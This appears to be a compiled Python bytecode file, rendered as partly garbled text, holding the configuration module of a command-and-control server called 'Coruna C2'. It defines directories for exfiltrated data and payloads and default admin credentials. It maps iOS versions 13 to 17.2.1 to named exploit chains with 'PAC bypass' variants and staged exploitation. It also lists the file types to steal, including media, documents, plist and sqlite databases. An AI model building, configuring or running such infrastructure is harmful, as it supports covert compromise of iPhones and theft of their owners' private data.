a
    ?j                     @   s  d Z ddlZddlmZ ddlmZ ee jjZ	e
ddZee
ddZe
d	d
e	 dZe
ddZe
ddZe
ddZdZdZe	d Ze	d Ze	d Ze	d d ZeeeefD ]Zejddd qe
ddZdddd d!d"d#d#d$d%d&
Zd'd(d)d*d+d,d-d.d/d0d1d2d3d4d5d6Zd7Zd8Zd9Zd:Z d;Z!e
d<d=Z"d>Z#e
d?d@$dAZ%dBZ&g dCZ'd8Z(dDZ)dZ*dEZ+dFZ,g Z-dZ.dGZ/dHZ0dZ1dFZ2dIZ3dJZ4dKZ5dKZ6g Z7G dLdM dMZ8e8 Z9e8dNdOdPZ:dS )Qu   Coruna C2 配置文件    N)Path)OptionalZCORUNA_HOSTz0.0.0.0ZCORUNA_PORTZ8782DATABASE_URLz
sqlite:///z/coruna_c2.db
ADMIN_USERadmin
ADMIN_PASSZadmin123
SECRET_KEYz&coruna-secret-key-change-in-productionZHS256i  exfilpayloadslogbackendstaticT)parentsexist_okCORUNA_SERVER_URLzhttp://localhost:8782buffoutbreezybreezy15jacurutubluebird
terrorbirdseedbellseedbell_preseedbell_17)
z13.0z	13.0-14.xz15.0-15.1.1z	15.2-15.5z15.6-16.1.2z16.2-16.5.1z16.3-16.5.1z16.6-16.7.12z16.6-17.2.1z17.0-17.2.1ziOS 15.2-15.5ziOS 15.6-16.1.2ziOS 16.2-16.5.1ziOS 16.6-17.2.1ziOS 13.0-15.1.1)r   r   r   Z	cassowaryr   ziOS 13.0-14.xziOS 15.0-16.2ziOS 16.3-16.7.12ziOS 16.6-17.2.1 (pre)ziOS 17.0-17.2.1)r   r   r   r   r   zWith PAC bypassz Without PAC / different approach)ZvariantAZvariantB)Zstage1Zstage2Zstage3i,        i   i   	LOG_LEVELINFOz4%(asctime)s - %(name)s - %(levelname)s - %(message)sCORS_ORIGINS*,i  @)z.jpgz.jpegz.pngz.gifz.bmpz.mp4z.movz.aviz.mkvz.mp3z.wavz.m4az.pdfz.docz.docxz.txtz.xlsz.xlsxz.zipz.rarz.7zz.plistz.dbz.sqlitez.dylibz.bind   <   F      zsmtp.gmail.comiK   c                   @   s  e Zd ZU dZeZeed< eZeed< e	Z	eed< e
Z
eed< eZeed< eZeed< eZeed< eZeed	< eZeed
< eZeed< eZeed< eZeed< eZeed< eZeed< eZeed< eZeed< eZeed< eZeed< eZeed< eZeed< eZeed< eZeed< eZe ed< e!Z!eed< e"Z"e ed< e#Z#eed< e$Z$eed< e%Z%e&ed< e'Z'eed< e(Z(e&ed< e)Z)e ed < e*Z*e&ed!< e+Z+eed"< e,Z,eed#< e-Z-e&ed$< e.Z.e&ed%< e/Z/eed&< e0Z0eed'< e1Z1eed(< e2Z2eed)< e3Z3e ed*< d+S ),Configu	   配置类HOSTPORTr   r   r   r   	ALGORITHMACCESS_TOKEN_EXPIRE_MINUTES	EXFIL_DIRPAYLOADS_DIRLOG_DIR
STATIC_DIRr   SUPPORTED_IOS_VERSIONSEXPLOIT_STAGESTASK_TIMEOUTHEARTBEAT_INTERVALMAX_RETRY_COUNTMAX_PREVIEW_SIZEMAX_BINARY_PREVIEWr   
LOG_FORMATr   MAX_UPLOAD_SIZEALLOWED_FILE_TYPESWS_HEARTBEAT_INTERVALWS_MESSAGE_QUEUE_SIZERATE_LIMIT_ENABLEDRATE_LIMIT_PER_MINUTEIP_WHITELIST_ENABLEDIP_WHITELISTBACKUP_ENABLEDBACKUP_INTERVAL_HOURSBACKUP_RETENTION_DAYSMONITORING_ENABLEDALERT_EMAIL_ENABLEDALERT_EMAIL_SMTPALERT_EMAIL_PORTALERT_EMAIL_USERALERT_EMAIL_PASSWORDALERT_EMAIL_TON)4__name__
__module____qualname____doc__r'   str__annotations__r(   intr   r   r   r   r)   r*   r+   r   r,   r-   r.   r   r/   dictr0   r1   r2   r3   r4   r5   r   r6   r   listr7   r8   r9   r:   r;   boolr<   r=   r>   r?   r@   rA   rB   rC   rD   rE   rF   rG   rH    rS   rS   #/root/Coruna-main/backend/config.pyr&   }   sT   
r&   )returnc                   C   s   t S )u   获取配置实例)configrS   rS   rS   rT   
get_config   s    rW   );rL   ospathlibr   typingr   __file__resolveparentZPROJECT_ROOTgetenvr'   rO   r(   r   r   r   r   r)   r*   r+   r,   r-   r.   	directorymkdirr   r/   r0   r1   r2   r3   r4   r5   r   r6   splitr   r7   r8   r9   r:   r;   r<   r=   r>   r?   r@   rA   rB   rC   rD   rE   rF   rG   rH   r&   rV   rW   rS   rS   rS   rT   <module>   s   K